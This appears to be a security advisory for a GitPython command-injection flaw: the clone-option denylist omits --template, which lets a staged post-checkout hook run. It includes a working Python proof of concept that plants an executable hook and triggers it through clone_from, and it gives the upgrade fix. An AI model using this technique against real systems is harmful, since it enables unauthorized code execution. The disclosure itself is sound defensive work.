GitPython: OS Command Injection via --template in clone_from
GitPython's clone protection denylist forgets the --template option, so an attacker who controls clone arguments can silently drop an executable post-checkout hook into the new repo and run arbitrary…

The problem
GitPython maintains a denylist called unsafe_git_clone_options to block dangerous git clone flags by default. In versions up to and including 3.1.53, that list contains --upload-pack, -u, --config, and -c, but omits --template.
The git --template=<dir> option copies <dir>/hooks/ into the cloned repo and then executes the post-checkout hook automatically at checkout time. Because --template never appears on the denylist, Repo.clone_from(url, dst, template='/attacker/dir') passes the guard with no error and git runs the hook.
Default config (allow_unsafe_options=False) is fully bypassed.
Proof of concept
A working proof-of-concept for this issue in GitPython, with the exact payload below.
import os, stat
# Step 1: stage the hook
hook_dir = "/tmp/evil/hooks"
os.makedirs(hook_dir, exist_ok=True)
hook = os.path.join(hook_dir, "post-checkout")
with open(hook, "w") as f:
f.write("#!/bin/sh\ntouch /tmp/pwned\n")
os.chmod(hook, os.stat(hook).st_mode | stat.S_IEXEC | stat.S_IXGRP | stat.S_IXOTH)
# Step 2: trigger via clone_from (default allow_unsafe_options=False)
from git import Repo
Repo.clone_from("https://github.com/any/repo", "/tmp/dst", template="/tmp/evil")
# post-checkout fires -> /tmp/pwned createdThe fix (commit ffcb5359, PR #2180) simply appends "--template" to the unsafe_git_clone_options list in base.py, making the existing check_unsafe_options guard reject it. Before the fix, the guard iterated only over the four listed options; --template was never compared, so it passed straight through to git.
The root cause is CWE-184 (Incomplete List of Disallowed Inputs). git copies the entire hooks/ directory from the template path and runs post-checkout at checkout time, which is a documented git behavior, so no further bypass is needed once the denylist gap exists.
The attack requires the attacker to pre-stage an executable hook in a directory readable by the cloning process (e.g., /tmp, a shared filesystem, or an upload folder), which is why CVSS assigns AC:H.
The fix
Upgrade GitPython to 3.1.54 or later. The release adds --template to unsafe_git_clone_options (PR #2180, commit ffcb5359), so passing template= to Repo.clone_from() now raises UnsafeOptionError unless allow_unsafe_options=True is explicitly set. If you cannot upgrade immediately, audit all call sites of clone_from() and clone() for any user-supplied template argument and strip it before passing.
Reported by zx (Jace).
Related research
- high · 8.8GitPython: OS Command Injection via git long-option prefix abbreviation bypass
- high · 8.8GitPython: OS Command Injection via Single-Character Kwarg Value Token Smuggling
- highGitPython unsafe clone option gate bypass via joined short options
- high · 8.1GitPython Argument Injection via Diffable.diff Enables Arbitrary File Overwrite